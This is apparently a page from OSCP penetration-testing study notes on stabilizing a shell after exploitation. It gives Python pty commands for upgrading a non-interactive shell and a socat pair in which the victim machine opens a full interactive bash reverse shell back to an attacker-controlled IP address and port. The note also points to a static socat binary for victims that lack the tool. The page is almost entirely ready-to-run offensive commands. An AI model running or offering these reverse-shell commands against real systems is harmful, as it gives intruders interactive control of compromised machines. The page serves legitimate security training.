> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/stabilize-shell.md).

# Stabilize Shell

### Python

* Upgrading non-interactive shell to interactive shell

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```bash
export TERM=xterm
```

```bash
CTRL-Z
```

```bash
stty raw -echo; fg
```

<details>

<summary>Socat</summary>

#### On Attacker:

```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

On Victim:

```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

If socat is not installed on victim, get it from <https://github.com/andrew-d/static-binaries/tree/master/socat>

</details>
